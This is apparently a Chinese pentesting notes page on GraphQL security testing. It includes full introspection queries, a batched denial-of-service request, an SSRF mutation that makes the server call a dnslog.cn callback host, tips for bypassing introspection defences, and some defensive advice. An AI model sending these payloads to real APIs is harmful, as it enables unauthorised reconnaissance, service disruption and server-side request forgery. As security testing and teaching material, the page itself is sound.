官网:
GraphQL | A query language for your APIhttps://graphql.orghttps://graphql.org
中文社区:
GraphQL | A query language for your APIhttps://graphql.cnhttps://graphql.cn
GraphQLhttps://spec.graphql.cn/https://spec.graphql.cn/
测试GraphQL API漏洞:
如果接口返回:
GraphQL introspection is not allowed by Apollo Server, but the query contained __schema or __type. To enable introspection, pass introspection: true to ApolloServer in production
提示:需要服务端开启 introspection 才能支持。
Query 用于从服务端获取数据
Mutation 用于在服务端修改或添加数据
Subscription 通过WebSocket连接实时接收来自服务器的数据更新
Input
Enum
Union
Interface
获取服务器上定义的所有类型、字段、枚举等信息
{ "query": "{__schema{queryType{name}}}" }
DDOS
{ "query": "query {\n systemUpdate \n}", "variables":{} }
[ { "query": "query{systemUpdate}", "variables": {} }, { "query": "query{systemUpdate}", "variables": {} } ]
SSRF
{ "query": "mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {ImportPaste (host: $host, port: $port, path: $path, scheme: $scheme){result}}", "variables":{ "host":"test.dnslog.cn", "port":80, "path":"/", "scheme":"http"} }
了解 GraphQL 模式的功能
{"query":"query {\n system\n}","variables":null}
下面三段GraphQL 查询语句本质上是相同的,都是用于获取 GraphQL Schema 的元数据信息。它们的区别在于格式和编写方式
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
{ "query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}" }
{ "query": "query Query {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type { ...TypeRef }\n defaultValue\n }\n\n fragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n }" }
为了防止内省攻击,可以采取以下措施
限制内省功能:在GraphQL服务器的配置中,可以禁用或限制内省功能,以防止攻击者获取敏感信息。
访问控制和授权:确保GraphQL API实施适当的访问控制和授权机制,以限制对敏感数据和操作的访问。
输入验证和过滤:对于接收到的GraphQL查询,进行严格的输入验证和过滤,以防止注入攻击和其他恶意操作。
加密通信:使用HTTPS等安全协议来保护GraphQL通信,防止中间人攻击和信息泄露。
定期更新和监测:保持GraphQL服务器和相关库的更新,并定期监测潜在的漏洞和安全问题。
绕过 GraphQL 内省防御
枚举可用的GraphQL端点:尝试通过不同的路径和URL来发现GraphQL端点。有时,开发人员可能会将GraphQL端点放在非标准位置,攻击者可以通过枚举和扫描来发现这些端点。
使用弱或默认配置:某些GraphQL服务器可能使用弱或默认的配置,未正确地限制内省功能。攻击者可以尝试查找这些服务器,并利用它们的配置不当来执行内省操作。
绕过访问控制:如果目标应用程序没有正确实施访问控制和授权机制,攻击者可能通过伪造身份验证令牌、修改请求头或直接访问GraphQL端点来绕过内省防御。
欺骗服务器:攻击者可能尝试修改GraphQL请求中的头部、参数或有效负载,以欺骗服务器绕过内省防御。这可能包括尝试使用特殊的查询参数、变量或操作来触发内省功能。
模式推断:攻击者可以尝试通过分析应用程序的行为和响应来推断GraphQL模式的一些信息。这可能包括观察响应中返回的错误消息、字段的存在与否以及查询的性能差异等。
参考文献